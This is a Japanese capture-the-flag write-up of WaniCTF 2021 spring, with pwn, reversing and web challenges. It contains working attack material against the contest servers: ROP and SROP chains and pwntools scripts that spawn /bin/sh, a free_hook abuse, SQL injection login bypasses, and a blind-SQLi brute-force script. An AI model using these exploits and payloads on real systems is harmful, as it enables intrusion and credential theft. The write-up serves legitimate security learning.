・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-04-rop-machine-normal.zip
execve("/bin/sh", 0, 0)
が実行されるように ROP を組むだけ
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 5 "pop rax; ret" is appended > 1 hex value?: 3b 0x000000000000003b is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rax; ret | +--------------------+ | 0x000000000000003b | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall}
FLAG{now-you-can-call-any-system-calls-with-syscall}
02 free hook
nc free.pwn.wanictf.org 9002
ヒント
・free_hookの仕組みを理解する必要があります。
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)無効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-02-free-hook.zip
ソースコードを確認すると、以下のようになっている。
// snip void command() { int cmd; int index; int ret; print_menu(); cmd = get_int(); printf("index?[0-9]: "); index = get_int(); switch (cmd) { case 1: if (g_memos[index] != 0) { free(g_memos[index]); g_memos[index] = 0; } g_memos[index] = malloc(0x10); printf("memo?: "); ret = read(0, g_memos[index], 0x10 - 1); g_memos[index][ret] = 0; break; case 2: puts(g_memos[index]); break; case 9: free(g_memos[index]); g_memos[index] = 0; break; default: break; } } int main() { init(); __free_hook = system; while (1) { command(); list_memos(); } } // snip
__free_hook に system のアドレスが入っているので、malloc で確保した領域に /bin/sh
と書き込んで、free すれば system("/bin/sh")
を実行することができる。
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 id uid=999(pwn) gid=999(pwn) groups=999(pwn) ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
05 rop machine hard
nc rop-hard.pwn.wanictf.org 9005
ヒント
・ROPgadgetコマンドの使い方を覚えましょう。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
・ROPgadget
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-05-rop-machine-hard.zip
ROPgadget を使って、execve("/bin/sh", 0, 0)
の実行に必要なアドレスを収集する。
$ ROPgadget --binary pwn05 --re "pop rdi" Gadgets information ============================================================ 0x000000000040128a : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x0000000000401287 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x000000000040128d : mov ebp, esp ; pop rdi ; ret 0x000000000040128c : mov rbp, rsp ; pop rdi ; ret 0x000000000040128f : pop rdi ; ret 0x000000000040128b : push rbp ; mov rbp, rsp ; pop rdi ; ret Unique gadgets found: 6 $ ROPgadget --binary pwn05 --re "pop rsi" Gadgets information ============================================================ 0x0000000000401611 : pop rsi ; pop r15 ; ret Unique gadgets found: 1 $ ROPgadget --binary pwn05 --re "pop rdx" Gadgets information ============================================================ 0x0000000000401297 : cli ; push rbp ; mov rbp, rsp ; pop rdx ; ret 0x0000000000401294 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdx ; ret 0x000000000040129a : mov ebp, esp ; pop rdx ; ret 0x0000000000401299 : mov rbp, rsp ; pop rdx ; ret 0x000000000040129c : pop rdx ; ret 0x0000000000401298 : push rbp ; mov rbp, rsp ; pop rdx ; ret Unique gadgets found: 6 $ ROPgadget --binary pwn05 --re "pop rax" Gadgets information ============================================================ 0x00000000004012a4 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004012a1 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004012a7 : mov ebp, esp ; pop rax ; ret 0x00000000004012a6 : mov rbp, rsp ; pop rax ; ret 0x00000000004012a9 : pop rax ; ret 0x00000000004012a5 : push rbp ; mov rbp, rsp ; pop rax ; ret Unique gadgets found: 6 $ ROPgadget --binary pwn05 --re "syscall" Gadgets information ============================================================ 0x00000000004012b1 : cli ; push rbp ; mov rbp, rsp ; syscall 0x00000000004012ae : endbr64 ; push rbp ; mov rbp, rsp ; syscall 0x00000000004012b4 : mov ebp, esp ; syscall 0x00000000004012b3 : mov rbp, rsp ; syscall 0x00000000004012b2 : push rbp ; mov rbp, rsp ; syscall 0x00000000004012b6 : syscall Unique gadgets found: 6 $ ROPgadget --binary pwn05 --string "/bin/sh" Strings information ============================================================ 0x0000000000404078 : /bin/sh
あとは 04 rop machine normal と同じように、上記のアドレスを使って ROP を組むだけ
from pwn import * ARCH = 'amd64' FILE = './pwn05' LIBC = '' HOST = 'rop-hard.pwn.wanictf.org' PORT = 9005 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '40128f') # pop rdi ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '404078') # /bin/sh io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '401611') # pop rsi ; pop r15 ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '40129c') # pop rdx ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '4012a9') # pop rax ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '00003b') # 0x3b io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '4012b6') # syscall io.sendlineafter('> ', '0') def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/pwn-05-rop-machine-hard/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 17 cached gadgets for './pwn05' [+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode rop_arena +--------------------+ | 0x000000000040128f |<- rop start +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012a9 | +--------------------+ | 0x000000000000003b | +--------------------+ | 0x00000000004012b6 | +--------------------+ $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools}
FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
nc srop.pwn.wanictf.org 9006
・sigreturnを用いたROPでシェルを実行してください。
・sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html
SROP に関する問題でした。 以下のサイトを参考に解きました。
- SROP | Signals, you say? - Exploit Development - 0x00sec - The Home of the Hacker
- pwntools--SROP工具类SigreturnFrame使用详解_lifanxin的博客-CSDN博客
ソースコードは、以下のようになっている。
#include <stdio.h> #include <unistd.h> void call_syscall() { __asm__("syscall; ret;"); } void set_rax() { __asm__("mov $0xf, %rax; ret;"); } int main() { char buff[50]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("buff : %p\nCan you get the shell?\n", buff); read(0, buff, 0x200); return 0; }
13行目の read のところでバッファオーバフローの脆弱性があるので、pattc と patto を使ってリターンアドレスまでのオフセットを求める。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Starting program: /root/workdir/pwn-06-srop/pwn06 buff : 0x7fffffffe1c0 Can you get the shell? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b00360 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x200 RSI: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x0 RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RIP: 0x401213 (<main+124>: ret) R8 : 0x7ffff7fed740 (0x00007ffff7fed740) R9 : 0x7ffff7fed740 (0x00007ffff7fed740) R10: 0x7fffffffdf80 --> 0x0 R11: 0x246 R12: 0x401090 (<_start>: endbr64) R13: 0x7fffffffe2e0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401208 <main+113>: call 0x401080 <read@plt> 0x40120d <main+118>: mov eax,0x0 0x401212 <main+123>: leave => 0x401213 <main+124>: ret 0x401214: nop WORD PTR cs:[rax+rax*1+0x0] 0x40121e: xchg ax,ax 0x401220 <__libc_csu_init>: endbr64 0x401224 <__libc_csu_init+4>: push r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0008| 0x7fffffffe210 ("AJAAfAA5AAKAAgAA6AAL\n") 0016| 0x7fffffffe218 ("AAKAAgAA6AAL\n") 0024| 0x7fffffffe220 --> 0xa4c414136 ('6AAL\n') 0032| 0x7fffffffe228 --> 0x401197 (<main>: endbr64) 0040| 0x7fffffffe230 --> 0x0 0048| 0x7fffffffe238 --> 0x19db69bec57df68e 0056| 0x7fffffffe240 --> 0x401090 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401213 in main () gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
72文字でリターンアドレスが書き換わることが判明した。
次に SROP に必要なアドレスを ROPgadget で収集する。
$ ROPgadget --binary pwn06 --re "mov rax" Gadgets information ============================================================ 0x000000000040118a : mov ebp, esp ; mov rax, 0xf ; ret 0x000000000040118c : mov rax, 0xf ; ret Unique gadgets found: 2 $ ROPgadget --binary pwn06 --re "syscall" Gadgets information ============================================================ 0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; syscall 0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; syscall 0x000000000040117c : mov ebp, esp ; syscall 0x000000000040117b : mov rbp, rsp ; syscall 0x000000000040117a : push rbp ; mov rbp, rsp ; syscall 0x000000000040117e : syscall Unique gadgets found: 6 $ ROPgadget --binary pwn06 --string "/bin/sh" Strings information ============================================================
/bin/sh
は見つからなかった。pwn06は、実行時にバッファのアドレスを表示してくれるので、バッファの先頭に /bin/sh
を書いておくことにした。
必要な情報が揃ったので、後は上記の2つの参考サイトと同じように payload を組んで実行すると、シェルを取ることができた。
from pwn import * ARCH = 'amd64' FILE = './pwn06' LIBC = '' HOST = 'srop.pwn.wanictf.org' PORT = 9006 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): offset = 72 mov_rax_15_ret = 0x40118c # mov rax, 0xf ; ret syscall_ret = 0x40117e # syscall ; ret line = io.readline().decode().split(':') buff = int(line[-1], 16) log.info(f'buff: {buff:x}') payload = b'/bin/sh\0' payload = payload.ljust(offset, b'A') payload += pack(mov_rax_15_ret) payload += pack(syscall_ret) frame = SigreturnFrame(kernel="amd64") frame.rax = constants.SYS_execve frame.rdi = buff # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload += bytes(frame) log.info(hexdump(payload)) io.sendlineafter('Can you get the shell?', payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/pwn-06-srop/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 15 cached gadgets for './pwn06' [+] Opening connection to srop.pwn.wanictf.org on port 9006: Done [*] buff: 7fff45258890 [*] 00000000 2f 62 69 6e 2f 73 68 00 41 41 41 41 41 41 41 41 │/bin│/sh·│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 8c 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000050 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000000c0 90 88 25 45 ff 7f 00 00 00 00 00 00 00 00 00 00 │··%E│····│····│····│ 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000e0 00 00 00 00 00 00 00 00 3b 00 00 00 00 00 00 00 │····│····│;···│····│ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000100 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000110 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │3···│····│····│····│ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000150 [*] Switching to interactive mode $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
Reversing
secret
この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行するとsecret key
を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。
$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped $ sudo chmod +x secret $ ./secret ... Input secret key : abcde Incorrect $ ./secret ... Input secret key : ?????? Correct! Flag is ??????このバイナリが正しいと判断する
secret key
を見つけて読み込んでみましょう!
(secret key
とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことでsecret key
が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra
strings をすると、パスワードらしき文字列が表示された。
$ strings secret # snip Input secret key : Incorrect wani_is_the_coolest_animals_in_the_world! Correct! Flag is %s # snip
secret 実行後にパスワードを入力すると、フラグが表示された。
$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
rev-execute.zip
main.s を確認すると、以下のようにいくつかの文字列をレジスタに入れている。
# snip main: .LFB0: .cfi_startproc endbr64 pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $48, %rsp movq %fs:40, %rax movq %rax, -8(%rbp) xorl %eax, %eax movabsq $7941081424088616006, %rax movabsq $7311705455698409823, %rdx movq %rax, -48(%rbp) movq %rdx, -40(%rbp) movabsq $3560223458505028963, %rax movabsq $35295634984951667, %rdx movq %rax, -32(%rbp) movq %rdx, -24(%rbp) leaq -48(%rbp), %rax movq %rax, %rdi call print@PLT movl $0, %eax movq -8(%rbp), %rcx xorq %fs:40, %rcx je .L3 call __stack_chk_fail@PLT # snip
レジスタに格納している値を文字列に変換すると、それがフラグになっていた。
from Crypto.Util.number import long_to_bytes nums = [ 7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667, ] for n in nums: print(long_to_bytes(n).decode()[::-1], end='')
$ python3 solve.py FLAG{c4n_y0u_execu4e_th1s_fi1e}
FLAG{c4n_y0u_execu4e_th1s_fi1e}
Timer
フラグが出てくるまで待てますか?
super_complex_flag_print_function
関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
rev-timer.zip
Ghidra でデコンパイルしてみると、timer という名前の関数で長時間待機させていた。
この関数呼び出しを、NOP でつぶして実行すると、フラグが表示された。
e8 9c ff ff ff ↓ 90 90 90 90 90
$ ./timer ████████╗██╗███╗ ███╗███████╗██████╗ ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗ ██║ ██║██╔████╔██║█████╗ ██████╔╝ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ I'll show the flag when the timer is 0 seconds. The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?
$ ./licence key.dat Failed to activate.複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。
licence を Gdhidra でデコンパイルして確認してみると、以下の箇所でフラグをチェックしていた。
angr の find にフラグチェック後のアドレス(0x405e0d)を指定して実行すると、フラグが表示された。
import angr import sys base_addr = 0x400000 checked_addr = base_addr + 0x5e0d bin_path = 'licence' input_path = 'key.dat' proj = angr.Project(bin_path, load_options={'auto_load_libs':False}) state = proj.factory.entry_state(args=[bin_path, input_path]) with open(input_path) as fp: content = fp.read() simgr = proj.factory.simulation_manager(state) simgr.explore(find=checked_addr) state = simgr.found[0] print(state.posix.dump_file_by_path(input_path))
$ python3 solve.py WARNING | 2021-05-01 20:39:34,050 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 73 unconstrained bytes referenced from 0x500030 (fopen+0x0 in extern-address space (0x30)) WARNING | 2021-05-01 20:39:34,250 | angr.state_plugins.posix | Trying to open unknown file b'key.dat' - created a symbolic file since ALL_FILES_EXIST is set WARNING | 2021-05-01 20:39:34,391 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 28 unconstrained bytes referenced from 0x500020 (fgets+0x0 in extern-address space (0x20)) WARNING | 2021-05-01 20:39:34,598 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefefd with 27 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff20 with 8 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff60 with 1 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n'
Web
fake
偽物を見破れますか?
https://fake.web.wanictf.org/
https://fake.web.wanictf.org/ にアクセスすると、Link
と書かれたボタンが大量に配置されていた。
どれか1つが本物らしい。
Chrome の DevTools を起動して、Console に以下を入力して、HTML内のURLをすべて抽出する。
urls = [] $$('*').forEach(element => { urls.push(element.src) urls.push(element.href) urls.push(element.url) }); console.log(...new Set(urls))
抽出された https://fake.web.wanictf.org/144c9defac04969c7bfad8efaa8ea194.html にアクセスすると、フラグが表示された。
FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}
Wani Request 1
RequestBinを使ってみよう!!
https://request1.web.wanictf.org/
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません。
RequestBin の Webhook を使ってリクエストを待ち受ける。 requestbin.com
RequestBin の URL を投稿して少し待つとリクエストが返ってくる。 referer を確認すると、以下のようになっていた。
http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=https://2b1addb4d2029048c0fdc13b263bc790.m.pipedream.net/
http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/ にアクセスすると、フラグが書かれた。
FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
exception
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
https://exception.web.wanictf.org/
web-exception.zip
hello.py を確認すると、以下のようになっていた。
例外を出させれば、フラグが表示されるようになっている。
import json import os import traceback # HelloFunction(/hello)のコード def lambda_handler(event, context): try: try: data = json.loads(event["body"]) except Exception: data = {} if "name" in data: return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), } return { "statusCode": 400, "body": json.dumps( { "error_message": "Bad Request", } ), } except Exception as e: error_message = traceback.format_exception_only(type(e), e) del event["requestContext"]["accountId"] del event["requestContext"]["resourceId"] return { "statusCode": 500, "body": json.dumps( { "error_message": error_message, "event": event, "flag": os.environ.get("FLAG"), } ), }
data["name"] が文字列にならないようにすれば、例外になるはずなので、
curl で {"name":[]}
となるように POST してみると、エラーメッセージが返ってきた。
curl https://exception.web.wanictf.org/hello \ -X POST \ -H "Content-Type: application/json" \ -d '{"name":[]}' \ --silent \ | jq .
jq で整形して確認すると、末尾にフラグが書かれていた。
{ "error_message": [ "TypeError: can only concatenate str (not \"list\") to str\n" ], "event": { "resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": { "content-type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==", "X-Amzn-Trace-Id": "Root=1-608d57ff-61204f91720c7998172a9357", "X-Forwarded-For": "14.3.175.134, 130.176.3.71", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https" }, "multiValueHeaders": { "content-type": [ "application/json" ], "Host": [ "boakqtdih8.execute-api.us-east-1.amazonaws.com" ], "User-Agent": [ "Amazon CloudFront" ], "Via": [ "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)" ], "X-Amz-Cf-Id": [ "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==" ], "X-Amzn-Trace-Id": [ "Root=1-608d57ff-61204f91720c7998172a9357" ], "X-Forwarded-For": [ "14.3.175.134, 130.176.3.71" ], "X-Forwarded-Port": [ "443" ], "X-Forwarded-Proto": [ "https" ] }, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": { "resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "epqv7ELIIAMFaow=", "requestTime": "01/May/2021:13:30:39 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619875839404, "requestId": "ebda79ff-238f-4dbc-bfe2-6ffb9bc90127", "identity": { "cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "14.3.175.134", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null }, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8" }, "body": "{\"name\":[]}", "isBase64Encoded": false }, "flag": "FLAG{b4d_excep7ion_handl1ng}" }
FLAG{b4d_excep7ion_handl1ng}
watch animal
スーパーかわいい動物が見れるWebサービスを作ったよ。
wanictf21spring@gmail.com
のメアドの人のパスワードがフラグです。
https://watch.web.wanictf.org/
https://watch.web.wanictf.org/ にアクセスすると、メールアドレスとパスワードの入力を求められる。
試しに以下のように入力してみると、ログインすることができた。
- メールアドレス:
wanictf21spring@gmail.com' --
- パスワード:
A
今回は、パスワードを特定したいので、ブラインド SQL インジェクションを行う。 以下の入力でもログインできたので、後は1文字ずつ特定していけばよい。
- メールアドレス:
wanictf21spring@gmail.com' /*
- パスワード:
*/ AND password LIKE 'FLAG{%
1文字ずつパスワードを特定するスクリプトを作成した。
import requests import string def check_login(flag): url = 'https://watch.web.wanictf.org/' email = "wanictf21spring@gmail.com' /*" password = f"*/ AND password LIKE '{flag}%" response = requests.post(url, {'email': email, 'password': password}) return 'Login Failed' not in response.text def main(): flag = 'FLAG{' chars = string.ascii_letters + string.digits + '_-.$@!?{}' while True: for ch in chars: if ch == '_': ch = '\_' if check_login(flag + ch): flag += ch break print(flag) if flag[-1] == '}': break if __name__=='__main__': main()
